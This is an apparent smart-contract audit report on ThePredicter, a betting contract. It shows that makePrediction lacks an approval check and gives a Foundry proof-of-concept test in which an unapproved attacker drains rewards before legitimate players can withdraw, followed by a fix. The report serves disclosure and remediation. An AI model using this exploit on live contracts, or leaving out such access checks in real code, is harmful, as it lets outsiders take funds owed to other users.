Summary
ThePredicter::makePrediction has no access controls and any unapproved user can make predicitions causing an incorrect calculation and distribution of rewards
Vulnerability Details
Relevant links
https://github.com/Cyfrin/2024-07-the-predicter/blob/main/src/ThePredicter.sol
Any user can call ThePredicter::makePrediction without the organizer's approval. When totalShares is calculated in ThePredicter::withdraw it only takes into account approved users. Because of the discrepency between the number of approved users and actual users who made a predicition, the proportion to the points collected by all Players with a positive number of points is incorrect.
function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
Total shares are calculated incorrectly in ThePredicter::withdraw because the attacker is not in the approved players array
for (uint256 i = 0; i < players.length; ++i) {
int8 cScore = scoreBoard.getPlayerScore(players[i]);
if (cScore > maxScore) maxScore = cScore;
if (cScore > 0) totalPositivePoints += cScore;
}
reward for each user will be incorrect
uint256 shares = uint8(score);
uint256 totalShares = uint256(totalPositivePoints);
uint256 reward = 0;
reward = maxScore < 0
? entranceFee
: (shares * players.length * entranceFee) / totalShares;
POC
Add the following test to ThePredicter.test.sol
function test_unapprovedPredictions() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address attacker = makeAddr("attacker");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(attacker);
vm.deal(attacker, 1 ether);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.withdraw();
vm.stopPrank();
assertEq(stranger2.balance, 0.9997 ether);
vm.startPrank(attacker);
thePredicter.withdraw();
vm.stopPrank();
vm.startPrank(stranger3);
assertEq(address(thePredicter).balance, 0 ether);
vm.expectRevert("Failed to withdraw");
thePredicter.withdraw();
vm.stopPrank();
}
Impact
An attacker can withdraw before the contract balance runs out and some users will be unable to claim the reward they are entitled to.
Tools Used
Manual Review
Recommendations
Add a new custom error in ThePredicter
error ThePredicter__IncorrectEntranceFee();
error ThePredicter__RegistrationIsOver();
error ThePredicter__IncorrectPredictionFee();
error ThePredicter__AllPlacesAreTaken();
error ThePredicter__CannotParticipateTwice();
error ThePredicter__NotEligibleForWithdraw();
error ThePredicter__PredictionsAreClosed();
error ThePredicter__UnauthorizedAccess();
+ error ThePredicter__UnapprovedUser();
Revert in makePrediction if user is not approved to be a player
function makePrediction(
uint256 matchNumber,
ScoreBoard.Result prediction
) public payable {
if (msg.value != predictionFee) {
revert ThePredicter__IncorrectPredictionFee();
}
if (block.timestamp > START_TIME + matchNumber * 68400 - 68400) {
revert ThePredicter__PredictionsAreClosed();
}
+ if (playersStatus[msg.sender] != Status.Approved) {
+ revert ThePredicter__UnapprovedUser();
+ }
scoreBoard.confirmPredictionPayment(msg.sender, matchNumber);
scoreBoard.setPrediction(msg.sender, matchNumber, prediction);
}
